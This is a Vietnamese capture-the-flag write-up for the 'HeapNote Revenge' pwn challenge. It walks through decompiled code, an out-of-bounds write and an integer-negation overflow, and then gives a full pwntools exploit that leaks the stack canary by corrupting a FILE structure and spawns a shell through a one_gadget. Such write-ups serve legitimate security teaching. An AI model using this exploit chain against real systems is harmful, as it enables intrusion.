pwn - HeapNote Revenge
I wrote another heap note app and I think it's safe this time. Can you prove me wrong and get the flag?
Ok tiếp tục với bài pwn thứ 3, có 6 solves. Mình cảm thấy bài này khá hay, rất đáng làm.

Setup

Source Code
Bài này mình cũng reverse engineer bằng IDA và nhờ Claude làm cho dễ đọc hơn.
Message struct
struct Message
{
_QWORD data[4];
};Mỗi Message có kích thước 32 bytes.
main()
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+4h] [rbp-1Ch] BYREF
Message *messages; // [rsp+8h] [rbp-18h]
FILE *stream; // [rsp+10h] [rbp-10h]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
setup(argc, argv, envp);
messages = (Message *)malloc(480u);
if ( !messages )
{
puts("Fail to alloc message !!");
exit(0);
}
memset(messages, 0, 480u);
stream = fopen("/tmp/message.txt", "wb");
if ( !stream )
{
puts("Fail to open file to write message !!");
exit(0);
}
puts("======================= Sanryu's home =======================");
puts("Welcome to Messenger App");
puts("1. Write note\n2. Read note\n3. Write file\n4. Exit");
while ( 1 )
{
printf("Your choice: ");
__isoc99_scanf("%d%*c", &choice);
if ( choice == 3 )
{
write_file(stream, messages);
}
else
{
if ( choice > 3 )
goto exit;
if ( choice == 1 )
{
write_note(messages);
}
else
{
if ( choice != 2 )
{
exit:
puts("Goodbye !!");
fclose(stream);
exit(0);
}
read_note(messages);
}
}
puts("=======================");
}
}messages được cấp phát trên heap với kích thước 480 bytes, vậy có tổng cộng 15 Message.
stream là con trỏ FILE *, mở tệp /tmp/message.txt với chế độ ghi.
write_note()
unsigned __int64 __fastcall write_note(Message *messages)
{
Message *message; // rcx
__int64 tmp; // rdx MAPDST
unsigned int size; // [rsp+18h] [rbp-38h]
Message buf; // [rsp+20h] [rbp-30h] BYREF
unsigned int index; // [rsp+40h] [rbp-10h] BYREF
unsigned __int64 canary; // [rsp+48h] [rbp-8h]
canary = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%d%*c", &index);
if ( index < 16 )
{
size = get_size();
if ( size )
{
get_data(&buf, size);
message = (Message *)((char *)messages + (int)(32 * index));
tmp = buf.data[1];
message->data[0] = buf.data[0];
message->data[1] = tmp;
tmp = buf.data[3];
message->data[2] = buf.data[2];
message->data[3] = tmp;
}
}
else
{
puts("Invalid index");
}
return canary - __readfsqword(0x28u);
}Ta thấy ở đây cho phép nhập index đến 15, nhưng chỉ có 15 Message, nghĩa là index chỉ đến 14. Vậy tồn tại OOB write, ta có thể ghi vào ngay sau vùng cấp phát cho messages trên heap, gây corrupt heap liền sau.
Vì hàm copy theo QWORD, chứ không chỉ mỗi data mà user nhập vào, nên có thể sẽ đưa các dữ liệu khác trên stack vào trong heap.
get_size()
__int64 get_size()
{
int size; // [rsp+4h] [rbp-Ch] MAPDST BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
size = 0;
printf("Size: ");
__isoc99_scanf("%d%*c", &size);
if ( size <= 0 )
size = -size;
if ( size <= 32 )
return (unsigned int)size;
puts("Invalid size");
return 0;
}Nhìn qua có vẻ chỉ là nhập vào size và trả về giá trị tuyệt đối của nó nếu không vượt quá 32. Nhưng ta để ý kỹ kiểu dữ liệu ở đây, size ban đầu được khai báo là int, lúc trả về thì ép kiểu thành unsigned int.
Ta biết rằng khoảng của int là từ -2147483648 đến 2147483647, và khoảng của unsigned int là từ 0 đến 4294967295. Nếu ta nhập -2147483648 vào size, lúc này size <= 0 là đúng nên size = -size, nghĩa là size = 2147483648, nhưng vượt quá khoảng trên là 2147483647, dẫn đến overflow nên size lại quay về -2147483648. Sau đó, size <= 32 vẫn đúng nên hàm trả về size ép kiểu thành unsigned int, vì underflow nên (unsigned int)size lại trở thành 2147483648.
Vậy, nếu nhập size = -2147483648, ta có thể ghi với độ dài gần như là tùy ý.
get_data()
unsigned __int64 __fastcall get_data(Message *buf, unsigned int size)
{
char ptr; // [rsp+13h] [rbp-Dh] BYREF
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
printf("Your message: ");
for ( i = 0; i < size && fread(&ptr, 1u, 1u, stdin) == 1 && ptr != '\n'; ++i )
*((_BYTE *)buf->data + i) = ptr;
*((_BYTE *)buf->data + i) = 0;
return canary - __readfsqword(0x28u);
}Ở đây ta ghi vào buf được cấp phát ở trên stack trong stack frame của hàm write_note(). Lợi dụng lỗi type overflow ở get_size(), ta có thể buffer overflow và ghi đè return address của write_note().
read_note()
unsigned __int64 __fastcall read_note(Message *messages)
{
unsigned int index; // [rsp+1Ch] [rbp-14h] BYREF
Message *buf; // [rsp+20h] [rbp-10h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]
canary = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%d%*c", &index);
if ( index > 14 )
puts("Invalid index");
buf = (Message *)((char *)messages + (int)(32 * index));
write(1, buf, 32u);
putchar('\n');
return canary - __readfsqword(0x28u);
}Hàm cho đọc dữ liệu tùy ý trên heap bởi vì kiểm tra index không để làm gì.
write_file()
unsigned __int64 __fastcall write_file(FILE *stream, Message *messages)
{
unsigned int index; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%d%*c", &index);
if ( index < 16 )
fwrite((char *)messages + (int)(32 * index), 32u, 1u, stream);
else
puts("Invalid index");
return canary - __readfsqword(0x28u);
}Hàm cho phép ghi dữ liệu từ heap ra file /tmp/message.txt.
Mitigation

Solve
Vì FILE pointer stream nằm ngay sau messages trên heap, ta có thể sử dụng read_note() để leak địa chỉ stack, heap, libc:
pwndbg> x/100gx 0x55555555b290
0x55555555b290: 0x0000000000000000 0x00000000000001f1
0x55555555b2a0: 0x00007fffffffdc00 0x00007fffffffdd78 # <--- Message *messages
0x55555555b2b0: 0x0000000000000000 0x0000000000000000
0x55555555b2c0: 0x0000000000000000 0x0000000000000000
0x55555555b2d0: 0x0000000000000000 0x0000000000000000
0x55555555b2e0: 0x0000000000000000 0x0000000000000000
0x55555555b2f0: 0x0000000000000000 0x0000000000000000
0x55555555b300: 0x0000000000000000 0x0000000000000000
0x55555555b310: 0x0000000000000000 0x0000000000000000
0x55555555b320: 0x0000000000000000 0x0000000000000000
0x55555555b330: 0x0000000000000000 0x0000000000000000
0x55555555b340: 0x0000000000000000 0x0000000000000000
0x55555555b350: 0x0000000000000000 0x0000000000000000
0x55555555b360: 0x0000000000000000 0x0000000000000000
0x55555555b370: 0x0000000000000000 0x0000000000000000
0x55555555b380: 0x0000000000000000 0x0000000000000000
0x55555555b390: 0x0000000000000000 0x0000000000000000
0x55555555b3a0: 0x0000000000000000 0x0000000000000000
0x55555555b3b0: 0x0000000000000000 0x0000000000000000
0x55555555b3c0: 0x0000000000000000 0x0000000000000000
0x55555555b3d0: 0x0000000000000000 0x0000000000000000
0x55555555b3e0: 0x0000000000000000 0x0000000000000000
0x55555555b3f0: 0x0000000000000000 0x0000000000000000
0x55555555b400: 0x0000000000000000 0x0000000000000000
0x55555555b410: 0x0000000000000000 0x0000000000000000
0x55555555b420: 0x0000000000000000 0x0000000000000000
0x55555555b430: 0x0000000000000000 0x0000000000000000
0x55555555b440: 0x0000000000000000 0x0000000000000000
0x55555555b450: 0x0000000000000000 0x0000000000000000
0x55555555b460: 0x0000000000000000 0x0000000000000000
0x55555555b470: 0x0000000000000000 0x0000000000000000
0x55555555b480: 0x0000000000000000 0x00000000000001e1
0x55555555b490: 0x00000000fbad2484 0x0000000000000000 # <--- FILE *stream
0x55555555b4a0: 0x0000000000000000 0x0000000000000000
0x55555555b4b0: 0x0000000000000000 0x0000000000000000
0x55555555b4c0: 0x0000000000000000 0x0000000000000000
0x55555555b4d0: 0x0000000000000000 0x0000000000000000
0x55555555b4e0: 0x0000000000000000 0x0000000000000000
0x55555555b4f0: 0x0000000000000000 0x00001555554044e0
0x55555555b500: 0x0000000000000003 0x0000000000000000
0x55555555b510: 0x0000000000000000 0x000055555555b570
0x55555555b520: 0xffffffffffffffff 0x0000000000000000
0x55555555b530: 0x000055555555b580 0x0000000000000000
0x55555555b540: 0x0000000000000000 0x0000000000000000
0x55555555b550: 0x0000000000000000 0x0000000000000000
0x55555555b560: 0x0000000000000000 0x0000155555402030
0x55555555b570: 0x0000000000000000 0x0000000000000000
0x55555555b580: 0x0000000000000000 0x0000000000000000
0x55555555b590: 0x0000000000000000 0x0000000000000000
0x55555555b5a0: 0x0000000000000000 0x0000000000000000Sau khi đã leak được các địa chỉ quan trọng, ta tiến hành tìm cách leak stack canary, từ đó mới có thể ghi đè return address của write_note().
Nhìn lại hàm write_note():
unsigned __int64 __fastcall write_note(Message *messages)
{
Message *message; // rcx
__int64 tmp; // rdx MAPDST
unsigned int size; // [rsp+18h] [rbp-38h]
Message buf; // [rsp+20h] [rbp-30h] BYREF
unsigned int index; // [rsp+40h] [rbp-10h] BYREF
unsigned __int64 canary; // [rsp+48h] [rbp-8h]
...
}Bằng cách overflow buf, ta có thể ghi đè vào index với giá trị > 15, dẫn đến ghi đè vào được vùng nhớ của stream. Như vậy, ta có thể thay đổi các trường của stream đó là _flags, _IO_write_base, _IO_write_ptr, _fileno thành các giá trị mong muốn sau đó lợi dụng fwrite((char *)messages + (int)(32 * index), 32u, 1u, stream); trong write_file() để in ra stack canary.
Ghi đè thành công, stream có dạng như sau:
pwndbg> p *(struct _IO_FILE*)0x55555555b490
$1 = {
_flags = -72542208,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x7fffffffdc48 "", # stack canary address!!!
_IO_write_ptr = 0x7fffffffdc50 "\360\334\377\377\377\177",
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x1555554044e0 <_IO_2_1_stderr_>,
_fileno = 1,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x55555555b570,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x55555555b580,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}Syscall write(1, 0x7fffffffdc48, 8) sẽ được thực thi và in ra stack canary. Sau đó ta chỉ cần stack overflow để ROP hoặc one_gadget để spawn shell, vậy là xong :)
để
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("chall_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.39.so", checksec=False)
context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
gdbscript = '''
# b *0x00005555555554ce
# b *get_size+76
# b *get_data
# b *fwrite
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "spawner.cscv.vn"
port = 33391
return remote(host, port)
p = conn()
def write_note(index, size, data):
slan(p, b'choice:', 1)
slan(p, b'Index:', index)
slan(p, b'Size:', size)
sla(p, b'message:', data)
def read_note(index):
sln(p, 2)
slan(p, b'Index:', index)
def write_file(index):
slan(p, b'choice:', 3)
slan(p, b'Index:', index)
sleep(1)
# write 1 lần để đưa giá trị trên stack vào heap -> leak địa chỉ stack
write_note(0, 32, b'')
read_note(0)
rn(p, 9)
leaked_stack = u64(rn(p, 6) + b'\0\0')
print(f"leaked stack: {hex(leaked_stack)}")
read_note(22)
rn(p, 23)
libc.address = u64(rn(p, 6) + b'\0\0') - 0x202030
print(f"libc base: {hex(libc.address)}")
canary_addr = leaked_stack - 0x130
print(f"canary address: {hex(canary_addr)}")
# leak trường _lock của FILE pointer, ví lúc ghi đè _fileno cũng phải ghi đến _lock_
read_note(19)
rn(p, 39)
_lock = u64(rn(p, 6) + b'\0\0')
print(f"stream lock: {hex(_lock)}")
sz = -2147483648
write_note(0, sz, flat(
0,
0x1e1, # chunk size
0xfbad1800, # _flags
0,
15 # index
))
write_note(0, sz, flat(
0,
0,
canary_addr, # _IO_write_base
canary_addr + 8, # _IO_write_ptr
16 # index
))
write_note(0, sz, flat(
1, # _fileno
0,
0,
_lock, # _lock
19 # index
))
# lợi dụng fwrite() in ra canary
write_file(0)
p.recv()
canary = u64(rn(p, 8))
print(f"canary: {hex(canary)}")
# ghi đè return address của write_note() thành one_gadget
one_gadget = 0xef52b + libc.address
print(f"one gadget: {hex(one_gadget)}")
saved_rbp = leaked_stack - 0x128
write_note(0, -2147483648, flat(
0, 0, 0, 0, 0,
canary,
saved_rbp,
one_gadget
))
# lợi nhuận
ia(p)